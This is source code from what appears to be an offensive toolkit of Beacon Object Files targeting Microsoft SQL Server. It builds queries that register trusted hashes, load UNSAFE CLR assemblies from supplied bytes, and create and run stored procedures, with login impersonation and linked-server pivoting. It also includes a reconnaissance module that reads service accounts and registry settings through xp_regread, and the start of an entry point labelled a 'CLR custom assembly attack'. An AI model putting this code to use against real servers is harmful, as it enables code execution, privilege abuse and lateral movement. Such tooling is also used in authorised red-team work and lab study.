FALSE; 12 | 13 | char* prefix = "SELECT * FROM sys.trusted_assemblies WHERE hash = 0x"; 14 | char* suffix = ";"; 15 | 16 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(hash) + MSVCRT$strlen(suffix) + 1; 17 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 18 | 19 | MSVCRT$strcpy(query, prefix); 20 | MSVCRT$strncat(query, hash, totalSize - MSVCRT$strlen(query) - 1); 21 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 22 | 23 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 24 | { 25 | internal_printf("[-] Error determining if assmebly hash exists\n"); 26 | intFree(query); 27 | return TRUE; 28 | } 29 | 30 | char* resultHash = GetSingleResult(stmt, FALSE); 31 | 32 | // 33 | // if we have any result, the hash exists 34 | // 35 | if (resultHash != NULL) 36 | { 37 | exists = TRUE; 38 | } 39 | else 40 | { 41 | internal_printf("[*] Assembly hash does not exist (error fetching result normal)\n"); 42 | } 43 | 44 | intFree(query); 45 | intFree(resultHash); 46 | return exists; 47 | } 48 | 49 | BOOL AddTrustedAssembly(SQLHSTMT stmt, char* dllPath, char* hash, char* link, char* impersonate) 50 | { 51 | char* prefix = "EXEC sp_add_trusted_assembly 0x"; 52 | char* mid = ",N'"; 53 | char* suffix = ", version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';"; 54 | 55 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(hash) + MSVCRT$strlen(mid) + MSVCRT$strlen(dllPath) + MSVCRT$strlen(suffix) + 1; 56 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 57 | 58 | MSVCRT$strcpy(query, prefix); 59 | MSVCRT$strncat(query, hash, totalSize - MSVCRT$strlen(query) - 1); 60 | MSVCRT$strncat(query, mid, totalSize - MSVCRT$strlen(query) - 1); 61 | MSVCRT$strncat(query, dllPath, totalSize - MSVCRT$strlen(query) - 1); 62 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 63 | 64 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 65 | intFree(query); 66 | return result; 67 | } 68 | 69 | BOOL DeleteTrustedAssemblyResources(SQLHSTMT stmt, char* assemblyName, char* function, BOOL isFunction, char* link, char* impersonate) 70 | { 71 | char* drop_proc; 72 | char* prefix; 73 | char* query; 74 | char* suffix = ";"; 75 | 76 | // 77 | // DROP FUNCTION 78 | // 79 | if (isFunction) 80 | { 81 | prefix = "DROP FUNCTION IF EXISTS "; 82 | } 83 | else 84 | { 85 | prefix = "DROP PROCEDURE IF EXISTS "; 86 | } 87 | 88 | 89 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1; 90 | query = (char*)intAlloc(totalSize * sizeof(char)); 91 | 92 | MSVCRT$strcpy(query, prefix); 93 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 94 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 95 | 96 | 97 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)) 98 | { 99 | internal_printf("[-] Error dropping function\n"); 100 | intFree(query); 101 | return FALSE; 102 | } 103 | 104 | intFree(query); 105 | 106 | // 107 | // DROP ASSEMBLY 108 | // 109 | char* asmPrefix = "DROP ASSEMBLY IF EXISTS "; 110 | totalSize = MSVCRT$strlen(asmPrefix) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(suffix) + 1; 111 | query = (char*)intAlloc(totalSize * sizeof(char)); 112 | 113 | MSVCRT$strcpy(query, asmPrefix); 114 | MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1); 115 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 116 | 117 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 118 | intFree(query); 119 | return result; 120 | } 121 | 122 | BOOL DeleteTrustedAssembly(SQLHSTMT stmt, char* hash, char* link, char* impersonate) 123 | { 124 | char* prefix = "EXEC sp_drop_trusted_assembly 0x"; 125 | char* suffix = ";"; 126 | 127 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(hash) + MSVCRT$strlen(suffix) + 1; 128 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 129 | 130 | MSVCRT$strcpy(query, prefix); 131 | MSVCRT$strncat(query, hash, totalSize - MSVCRT$strlen(query) - 1); 132 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 133 | 134 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 135 | intFree(query); 136 | return result; 137 | } 138 | 139 | BOOL AssemblyExists(SQLHSTMT stmt, char* assemblyName, char* link, char* impersonate) 140 | { 141 | BOOL exists; 142 | char* prefix = "SELECT * FROM sys.assemblies WHERE name = '"; 143 | char* suffix = "';"; 144 | 145 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(suffix) + 1; 146 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 147 | 148 | MSVCRT$strcpy(query, prefix); 149 | MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1); 150 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 151 | 152 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 153 | { 154 | internal_printf("[-] Error determining if assmebly exists\n"); 155 | intFree(query); 156 | return TRUE; 157 | } 158 | 159 | char* resultHash = GetSingleResult(stmt, FALSE); 160 | 161 | if (MSVCRT$strcmp(resultHash, assemblyName) == 0) 162 | { 163 | exists = TRUE; 164 | } 165 | else 166 | { 167 | exists = FALSE; 168 | } 169 | 170 | ODBC32$SQLCloseCursor(stmt); 171 | intFree(query); 172 | intFree(resultHash); 173 | return exists; 174 | } 175 | 176 | BOOL CreateAssembly(SQLHSTMT stmt, char* assemblyName, char* dllBytes, char* link, char* impersonate) 177 | { 178 | char* prefix = "CREATE ASSEMBLY "; 179 | char* mid = " FROM 0x"; 180 | char* suffix = " WITH PERMISSION_SET = UNSAFE;"; 181 | 182 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(mid) + MSVCRT$strlen(dllBytes) + MSVCRT$strlen(suffix) + 1; 183 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 184 | 185 | MSVCRT$strcpy(query, prefix); 186 | MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1); 187 | MSVCRT$strncat(query, mid, totalSize - MSVCRT$strlen(query) - 1); 188 | MSVCRT$strncat(query, dllBytes, totalSize - MSVCRT$strlen(query) - 1); 189 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 190 | 191 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 192 | intFree(query); 193 | return result; 194 | } 195 | 196 | BOOL AssemblyStoredProcExists(SQLHSTMT stmt, char* function, char* link, char* impersonate) 197 | { 198 | char* prefix = "SELECT name FROM sys.procedures WHERE type = 'PC' AND name = '"; 199 | char* suffix = "';"; 200 | 201 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1; 202 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 203 | 204 | MSVCRT$strcpy(query, prefix); 205 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 206 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 207 | 208 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 209 | { 210 | internal_printf("[-] Error determining if stored procedure exists\n"); 211 | intFree(query); 212 | return TRUE; 213 | } 214 | 215 | char* result = GetSingleResult(stmt, FALSE); 216 | BOOL exists = (MSVCRT$strcmp(result, function) == 0) ? TRUE : FALSE; 217 | 218 | ODBC32$SQLCloseCursor(stmt); 219 | intFree(query); 220 | intFree(result); 221 | 222 | return exists; 223 | } 224 | 225 | BOOL AssemblyFunctionExists(SQLHSTMT stmt, char* function, char* link, char* impersonate) 226 | { 227 | char* prefix = "SELECT assembly_class FROM sys.assembly_modules WHERE assembly_class = '"; 228 | char* suffix = "';"; 229 | 230 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1; 231 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 232 | 233 | MSVCRT$strcpy(query, prefix); 234 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 235 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 236 | 237 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 238 | { 239 | internal_printf("[-] Error determining if function exists\n"); 240 | intFree(query); 241 | return TRUE; 242 | } 243 | 244 | char* result = GetSingleResult(stmt, FALSE); 245 | BOOL exists = (MSVCRT$strcmp(result, function) == 0) ? TRUE : FALSE; 246 | 247 | intFree(query); 248 | intFree(result); 249 | 250 | return exists; 251 | } 252 | 253 | BOOL CreateAssemblyStoredProc(SQLHSTMT stmt, char* assemblyName, char* function, BOOL Adsi, char* link, char* impersonate) 254 | { 255 | char* query = NULL; 256 | 257 | if (Adsi) 258 | { 259 | // 260 | // for ADSI BOF 261 | // 262 | char* prefix = "CREATE FUNCTION [dbo]."; 263 | char* part2 = "(@port int) RETURNS NVARCHAR(MAX) AS EXTERNAL NAME "; 264 | char* suffix = ".[ldapAssembly.LdapSrv].listen;"; 265 | 266 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(part2) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(suffix) + 1; 267 | query = (char*)intAlloc(totalSize * sizeof(char)); 268 | 269 | MSVCRT$strcpy(query, prefix); 270 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 271 | MSVCRT$strncat(query, part2, totalSize - MSVCRT$strlen(query) - 1); 272 | MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1); 273 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 274 | } 275 | else 276 | { 277 | // 278 | // for CLR BOF 279 | // 280 | char* prefix = "CREATE PROCEDURE [dbo].["; 281 | char* part2 = "] AS EXTERNAL NAME ["; 282 | char* part3 = "].[StoredProcedures].["; 283 | char* suffix = "];"; 284 | 285 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(part2) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(part3) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1; 286 | query = (char*)intAlloc(totalSize * sizeof(char)); 287 | 288 | MSVCRT$strcpy(query, prefix); 289 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 290 | MSVCRT$strncat(query, part2, totalSize - MSVCRT$strlen(query) - 1); 291 | MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1); 292 | MSVCRT$strncat(query, part3, totalSize - MSVCRT$strlen(query) - 1); 293 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 294 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 295 | } 296 | 297 | // 298 | // special case for impersonation here 299 | // CREATE PROCEDURE statements are not allowed in a batch with other statements 300 | // 301 | BOOL result; 302 | if (impersonate != NULL) 303 | { 304 | char* iPrefix = "EXECUTE AS LOGIN = '"; 305 | char* iSuffix = "';"; 306 | 307 | size_t totalSize = MSVCRT$strlen(iPrefix) + MSVCRT$strlen(impersonate) + MSVCRT$strlen(iSuffix) + 1; 308 | char* impersonateQuery = (char*)intAlloc(totalSize * sizeof(char)); 309 | 310 | MSVCRT$strcpy(impersonateQuery, iPrefix); 311 | MSVCRT$strncat(impersonateQuery, impersonate, totalSize - MSVCRT$strlen(impersonateQuery) - 1); 312 | MSVCRT$strncat(impersonateQuery, iSuffix, totalSize - MSVCRT$strlen(impersonateQuery) - 1); 313 | 314 | if (!ExecuteQuery(stmt, (SQLCHAR*)impersonateQuery)) 315 | { 316 | internal_printf("[-] Error impersonating user\n"); 317 | intFree(impersonateQuery); 318 | return FALSE; 319 | } 320 | 321 | intFree(impersonateQuery); 322 | result = ExecuteQuery(stmt, (SQLCHAR*)query); 323 | } 324 | else 325 | { 326 | result = HandleQuery(stmt, (SQLCHAR*)query, link, NULL, TRUE); 327 | } 328 | intFree(query); 329 | return result; 330 | } 331 | 332 | BOOL ExecuteAssemblyStoredProc(SQLHSTMT stmt, char* function, char* link, char* impersonate) 333 | { 334 | char* prefix = "EXEC "; 335 | char* suffix = ";"; 336 | 337 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1; 338 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 339 | 340 | MSVCRT$strcpy(query, prefix); 341 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 342 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 343 | 344 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 345 | intFree(query); 346 | return result; 347 | } -------------------------------------------------------------------------------- /src/SQL/info/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | typedef struct SQLINFO { 6 | char* ComputerName; 7 | char* DomainName; 8 | char* ServicePid; 9 | char* ServiceName; 10 | char* ServiceAccount; 11 | char* AuthenticationMode; 12 | char* ForcedEncryption; 13 | char* Clustered; 14 | char* SqlServerVersionNumber; 15 | char* SqlServerMajorVersion; 16 | char* SqlServerEdition; 17 | char* SqlServerServicePack; 18 | char* OsArchitecture; 19 | char* OsMachineType; 20 | char* OsVersion; 21 | char* OsVersionNumber; 22 | char* CurrentLogin; 23 | BOOL IsSysAdmin; 24 | char* ActiveSessions; 25 | } SQLINFO; 26 | 27 | void FreeAttr(char* attr) { 28 | if (attr == NULL) { 29 | return; 30 | } 31 | 32 | intFree(attr); 33 | } 34 | 35 | void FreeSqlInfo(SQLINFO* info) { 36 | if (info == NULL) { 37 | return; 38 | } 39 | 40 | FreeAttr(info->ComputerName); 41 | FreeAttr(info->DomainName); 42 | FreeAttr(info->ServicePid); 43 | FreeAttr(info->ServiceName); 44 | FreeAttr(info->ServiceAccount); 45 | FreeAttr(info->AuthenticationMode); 46 | FreeAttr(info->ForcedEncryption); 47 | FreeAttr(info->Clustered); 48 | FreeAttr(info->SqlServerVersionNumber); 49 | FreeAttr(info->SqlServerMajorVersion); 50 | FreeAttr(info->SqlServerEdition); 51 | FreeAttr(info->SqlServerServicePack); 52 | FreeAttr(info->OsArchitecture); 53 | FreeAttr(info->OsMachineType); 54 | FreeAttr(info->OsVersion); 55 | FreeAttr(info->OsVersionNumber); 56 | FreeAttr(info->CurrentLogin); 57 | FreeAttr(info->ActiveSessions); 58 | } 59 | 60 | 61 | void GetSQLInfo(char* server, char* database) { 62 | SQLHENV env = NULL; 63 | SQLHSTMT stmt = NULL; 64 | SQLRETURN ret; 65 | SQLINFO info; 66 | memset(&info, 0, sizeof(SQLINFO)); 67 | 68 | SQLHDBC dbc = ConnectToSqlServer(&env, server, database); 69 | 70 | if (dbc == NULL) 71 | { 72 | goto END; 73 | } 74 | 75 | internal_printf("[*] Extracting SQL server information\n"); 76 | 77 | // 78 | // allocate statement handle 79 | // 80 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 81 | if (!SQL_SUCCEEDED(ret)) 82 | { 83 | internal_printf("[!] Error allocating statement handle\n"); 84 | goto END; 85 | } 86 | 87 | // 88 | // first query - IsSysAdmin 89 | // 90 | SQLCHAR* query = (SQLCHAR*)"SELECT IS_SRVROLEMEMBER('sysadmin');"; 91 | if (!ExecuteQuery(stmt, query)) 92 | { 93 | goto END; 94 | } 95 | char* result = GetSingleResult(stmt, FALSE); 96 | if ( result[0] == '1') 97 | { 98 | info.IsSysAdmin = TRUE; 99 | } 100 | else 101 | { 102 | info.IsSysAdmin = FALSE; 103 | } 104 | 105 | intFree(result); 106 | ODBC32$SQLCloseCursor(stmt); 107 | 108 | // 109 | // second query - DomainName 110 | // 111 | query = (SQLCHAR*)"SELECT @@SERVERNAME;"; 112 | if (!ExecuteQuery(stmt, query)) 113 | { 114 | goto END; 115 | } 116 | info.ComputerName = GetSingleResult(stmt, FALSE); 117 | ODBC32$SQLCloseCursor(stmt); 118 | 119 | // 120 | // third query - DomainName 121 | // 122 | query = (SQLCHAR*)"SELECT default_domain();"; 123 | if (!ExecuteQuery(stmt, query)) 124 | { 125 | goto END; 126 | } 127 | info.DomainName = GetSingleResult(stmt, FALSE); 128 | ODBC32$SQLCloseCursor(stmt); 129 | 130 | // 131 | // fourth query - ServicePid 132 | // 133 | query = (SQLCHAR*)"SELECT CONVERT(VARCHAR(255), SERVERPROPERTY('processid'));"; 134 | if (!ExecuteQuery(stmt, query)) 135 | { 136 | goto END; 137 | } 138 | info.ServicePid = GetSingleResult(stmt, FALSE); 139 | ODBC32$SQLCloseCursor(stmt); 140 | 141 | // 142 | // fifth query - ServiceName 143 | // 144 | query = (SQLCHAR*)"DECLARE @SQLServerServiceName varchar(250)\n" 145 | "DECLARE @SQLServerInstance varchar(250)\n" 146 | "if @@SERVICENAME = 'MSSQLSERVER'\n" 147 | "BEGIN\n" 148 | "set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQLSERVER'\n" 149 | "set @SQLServerServiceName = 'MSSQLSERVER'\n" 150 | "END\n" 151 | "ELSE\n" 152 | "BEGIN\n" 153 | "set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQL$'+cast(@@SERVICENAME as varchar(250))\n" 154 | "set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))\n" 155 | "END\n" 156 | "SELECT @SQLServerServiceName;"; 157 | if (!ExecuteQuery(stmt, query)) 158 | { 159 | goto END; 160 | } 161 | info.ServiceName = GetSingleResult(stmt, FALSE); 162 | ODBC32$SQLCloseCursor(stmt); 163 | 164 | // 165 | // sixth query - ServiceAccount 166 | // 167 | query = (SQLCHAR*)"DECLARE @SQLServerInstance varchar(250)\n" 168 | "if @@SERVICENAME = 'MSSQLSERVER'\n" 169 | "BEGIN\n" 170 | "set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQLSERVER'\n" 171 | "END\n" 172 | "ELSE\n" 173 | "BEGIN\n" 174 | "set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQL$'+cast(@@SERVICENAME as varchar(250))\n" 175 | "END\n" 176 | "DECLARE @ServiceAccountName varchar(250)\n" 177 | "EXECUTE master.dbo.xp_instance_regread\n" 178 | "N'HKEY_LOCAL_MACHINE', @SQLServerInstance,\n" 179 | "N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'\n" 180 | "SELECT @ServiceAccountName;"; 181 | if (!ExecuteQuery(stmt, query)) 182 | { 183 | goto END; 184 | } 185 | info.ServiceAccount = GetSingleResult(stmt, FALSE); 186 | ODBC32$SQLCloseCursor(stmt); 187 | 188 | // 189 | // seventh query - AuthenticationMode 190 | // 191 | query = (SQLCHAR*)"DECLARE @AuthenticationMode INT\n" 192 | "EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',\n" 193 | "N'Software\\Microsoft\\MSSQLServer\\MSSQLServer',\n" 194 | "N'LoginMode', @AuthenticationMode OUTPUT\n" 195 | "(SELECT CASE @AuthenticationMode\n" 196 | "WHEN 1 THEN 'Windows Authentication'\n" 197 | "WHEN 2 THEN 'Windows and SQL Server Authentication'\n" 198 | "ELSE 'Unknown'\n" 199 | "END);"; 200 | if (!ExecuteQuery(stmt, query)) 201 | { 202 | goto END; 203 | } 204 | info.AuthenticationMode = GetSingleResult(stmt, FALSE); 205 | ODBC32$SQLCloseCursor(stmt); 206 | 207 | // 208 | // eighth query - ForcedEncryption 209 | // 210 | query = (SQLCHAR*)"BEGIN TRY\n" 211 | "DECLARE @ForcedEncryption INT\n" 212 | "EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',\n" 213 | "N'SOFTWARE\\MICROSOFT\\Microsoft SQL Server\\MSSQLServer\\SuperSocketNetLib',\n" 214 | "N'ForceEncryption', @ForcedEncryption OUTPUT\n" 215 | "END TRY\n" 216 | "BEGIN CATCH \n" 217 | "END CATCH\n" 218 | "SELECT @ForcedEncryption;"; 219 | if (!ExecuteQuery(stmt, query)) 220 | { 221 | goto END; 222 | } 223 | info.ForcedEncryption = GetSingleResult(stmt, FALSE); 224 | ODBC32$SQLCloseCursor(stmt); 225 | 226 | // 227 | // ninth query - Clustered 228 | // 229 | query = (SQLCHAR*)"SELECT CASE SERVERPROPERTY('IsClustered')\n" 230 | "WHEN 0\n" 231 | "THEN 'No'\n" 232 | "ELSE 'Yes'\n" 233 | "END"; 234 | if (!ExecuteQuery(stmt, query)) 235 | { 236 | goto END; 237 | } 238 | info.Clustered = GetSingleResult(stmt, FALSE); 239 | ODBC32$SQLCloseCursor(stmt); 240 | 241 | // 242 | // 10th query - SqlServerVesionNumber 243 | // 244 | query = (SQLCHAR*)"SELECT CONVERT(VARCHAR(255), SERVERPROPERTY('productversion'));"; 245 | if (!ExecuteQuery(stmt, query)) 246 | { 247 | goto END; 248 | } 249 | info.SqlServerVersionNumber = GetSingleResult(stmt, FALSE); 250 | ODBC32$SQLCloseCursor(stmt); 251 | 252 | // 253 | // 11th query - SqlServerMajorVersion 254 | // 255 | query = (SQLCHAR*)"SELECT SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4);"; 256 | if (!ExecuteQuery(stmt, query)) 257 | { 258 | goto END; 259 | } 260 | info.SqlServerMajorVersion = GetSingleResult(stmt, FALSE); 261 | ODBC32$SQLCloseCursor(stmt); 262 | 263 | // 264 | // 12th query - SqlServerEdition 265 | // 266 | query = (SQLCHAR*)"SELECT CONVERT(VARCHAR(255), SERVERPROPERTY('Edition'));"; 267 | if (!ExecuteQuery(stmt, query)) 268 | { 269 | goto END; 270 | } 271 | info.SqlServerEdition = GetSingleResult(stmt, FALSE); 272 | ODBC32$SQLCloseCursor(stmt); 273 | 274 | // 275 | // 12th query - SqlServerServicePack 276 | // 277 | query = (SQLCHAR*)"SELECT CONVERT(VARCHAR(255), SERVERPROPERTY('ProductLevel'));"; 278 | if (!ExecuteQuery(stmt, query)) 279 | { 280 | goto END; 281 | } 282 | info.SqlServerServicePack = GetSingleResult(stmt, FALSE); 283 | ODBC32$SQLCloseCursor(stmt); 284 | 285 | // 286 | // 13th query - OsArchitecture 287 | // 288 | query = (SQLCHAR*)"SELECT SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3);"; 289 | if (!ExecuteQuery(stmt, query)) 290 | { 291 | goto END; 292 | } 293 | info.OsArchitecture = GetSingleResult(stmt, FALSE); 294 | ODBC32$SQLCloseCursor(stmt); 295 | 296 | // 297 | // 14th query - OsMachineType 298 | // 299 | if (info.IsSysAdmin) 300 | { 301 | query = (SQLCHAR*)"DECLARE @MachineType SYSNAME\n" 302 | "EXECUTE master.dbo.xp_regread\n" 303 | "@rootkey = N'HKEY_LOCAL_MACHINE',\n" 304 | "@key = N'SYSTEM\\CurrentControlSet\\Control\\ProductOptions',\n" 305 | "@value_name = N'ProductType',\n" 306 | "@value = @MachineType output\n" 307 | "SELECT @MachineType;"; 308 | if (!ExecuteQuery(stmt, query)) 309 | { 310 | goto END; 311 | } 312 | info.OsMachineType = GetSingleResult(stmt, FALSE); 313 | ODBC32$SQLCloseCursor(stmt); 314 | } 315 | 316 | // 317 | // 15th query - OsVersion 318 | // 319 | if (info.IsSysAdmin) 320 | { 321 | query = (SQLCHAR*)"DECLARE @ProductName SYSNAME\n" 322 | "EXECUTE master.dbo.xp_regread\n" 323 | "@rootkey = N'HKEY_LOCAL_MACHINE',\n" 324 | "@key = N'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion',\n" 325 | "@value_name = N'ProductName',\n" 326 | "@value = @ProductName output\n" 327 | "SELECT @ProductName;"; 328 | if (!ExecuteQuery(stmt, query)) 329 | { 330 | goto END; 331 | } 332 | info.OsVersion = GetSingleResult(stmt, FALSE); 333 | ODBC32$SQLCloseCursor(stmt); 334 | } 335 | 336 | // 337 | // 16th query - OsVersionNumber 338 | // 339 | query = (SQLCHAR*)"SELECT RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows Server', @@VERSION), 19), 4);"; 340 | if (!ExecuteQuery(stmt, query)) 341 | { 342 | goto END; 343 | } 344 | info.OsVersionNumber = GetSingleResult(stmt, FALSE); 345 | ODBC32$SQLCloseCursor(stmt); 346 | 347 | // 348 | // 17th query - CurrentLogin 349 | // 350 | query = (SQLCHAR*)"SELECT SYSTEM_USER;"; 351 | if (!ExecuteQuery(stmt, query)) 352 | { 353 | goto END; 354 | } 355 | info.CurrentLogin = GetSingleResult(stmt, FALSE); 356 | ODBC32$SQLCloseCursor(stmt); 357 | 358 | // 359 | // 18th query - ActiveSessions 360 | // 361 | query = (SQLCHAR*)"SELECT COUNT(*) FROM [sys].[dm_exec_sessions] WHERE status = 'running';"; 362 | if (!ExecuteQuery(stmt, query)) 363 | { 364 | goto END; 365 | } 366 | info.ActiveSessions = GetSingleResult(stmt, FALSE); 367 | 368 | 369 | 370 | // 371 | // print all the results 372 | // 373 | internal_printf("%-30s: %s\n", " |--> ComputerName", info.ComputerName); 374 | internal_printf("%-30s: %s\n", " |--> DomainName", info.DomainName); 375 | internal_printf("%-30s: %s\n", " |--> ServicePid", info.ServicePid); 376 | internal_printf("%-30s: %s\n", " |--> ServiceName", info.ServiceName); 377 | internal_printf("%-30s: %s\n", " |--> ServiceAccount", info.ServiceAccount); 378 | internal_printf("%-30s: %s\n", " |--> AuthenticationMode", info.AuthenticationMode); 379 | internal_printf("%-30s: %s\n", " |--> ForcedEncryption", info.ForcedEncryption); 380 | internal_printf("%-30s: %s\n", " |--> Clustered", info.Clustered); 381 | internal_printf("%-30s: %s\n", " |--> SqlServerVersionNumber", info.SqlServerVersionNumber); 382 | internal_printf("%-30s: %s\n", " |--> SqlServerMajorVersion", info.SqlServerMajorVersion); 383 | internal_printf("%-30s: %s\n", " |--> SqlServerEdition", info.SqlServerEdition); 384 | internal_printf("%-30s: %s\n", " |--> SqlServerServicePack", info.SqlServerServicePack); 385 | internal_printf("%-30s: %s\n", " |--> OsArchitecture", info.OsArchitecture); 386 | 387 | if (info.IsSysAdmin) 388 | { 389 | internal_printf("%-30s: %s\n", " |--> OsMachineType", info.OsMachineType); 390 | internal_printf("%-30s: %s\n", " |--> OsVersion", info.OsVersion); 391 | } 392 | 393 | internal_printf("%-30s: %s\n", " |--> OsVersionNumber", info.OsVersionNumber); 394 | internal_printf("%-30s: %s\n", " |--> CurrentLogin", info.CurrentLogin); 395 | internal_printf("%-30s: %s\n", " |--> IsSysAdmin", info.IsSysAdmin ? "True" : "False"); 396 | internal_printf("%-30s: %s\n", " |--> ActiveSessions", info.ActiveSessions); 397 | 398 | END: 399 | FreeSqlInfo(&info); 400 | ODBC32$SQLCloseCursor(stmt); 401 | DisconnectSqlServer(env, dbc, stmt); 402 | } 403 | 404 | 405 | #ifdef BOF 406 | VOID go( 407 | IN PCHAR Buffer, 408 | IN ULONG Length 409 | ) 410 | { 411 | char* server = NULL; 412 | char* database = NULL; 413 | 414 | // 415 | // parse beacon args 416 | // 417 | datap parser; 418 | BeaconDataParse(&parser, Buffer, Length); 419 | server = BeaconDataExtract(&parser, NULL); 420 | database = BeaconDataExtract(&parser, NULL); 421 | 422 | server = *server == 0 ? "localhost" : server; 423 | database = *database == 0 ? "master" : database; 424 | 425 | if(!bofstart()) 426 | { 427 | return; 428 | } 429 | 430 | GetSQLInfo(server, database); 431 | 432 | printoutput(TRUE); 433 | }; 434 | 435 | #else 436 | 437 | int main() 438 | { 439 | internal_printf("============ BASE TEST ============\n\n"); 440 | GetSQLInfo("castelblack.north.sevenkingdoms.local", "master"); 441 | } 442 | 443 | #endif 444 | -------------------------------------------------------------------------------- /src/SQL/clr/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | #include "sql_modules.c" 5 | #include "sql_clr.c" 6 | 7 | 8 | void ExecuteClrAssembly(char* server, char* database, char* link, char* impersonate, char* function, char* hash, char* hexBytes) 9 | { 10 | SQLHENV env = NULL; 11 | SQLHSTMT stmt = NULL; 12 | SQLHDBC dbc = NULL; 13 | SQLRETURN ret; 14 | 15 | InitRandomSeed(); 16 | char* dllPath = GenerateRandomString(8); 17 | char* assemblyName = GenerateRandomString(8); 18 | 19 | if (link == NULL) 20 | { 21 | dbc = ConnectToSqlServer(&env, server, database); 22 | } 23 | else 24 | { 25 | dbc = ConnectToSqlServer(&env, server, NULL); 26 | } 27 | 28 | if (dbc == NULL) { 29 | goto END; 30 | } 31 | 32 | if (link == NULL) 33 | { 34 | internal_printf("[*] Performing CLR custom assembly attack on %s\n\n", server); 35 | } 36 | else 37 | { 38 | internal_printf("[*] Performing CLR custom assembly attack on %s via %s\n\n", link, server); 39 | } 40 | // 41 | // allocate statement handle 42 | // 43 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 44 | if 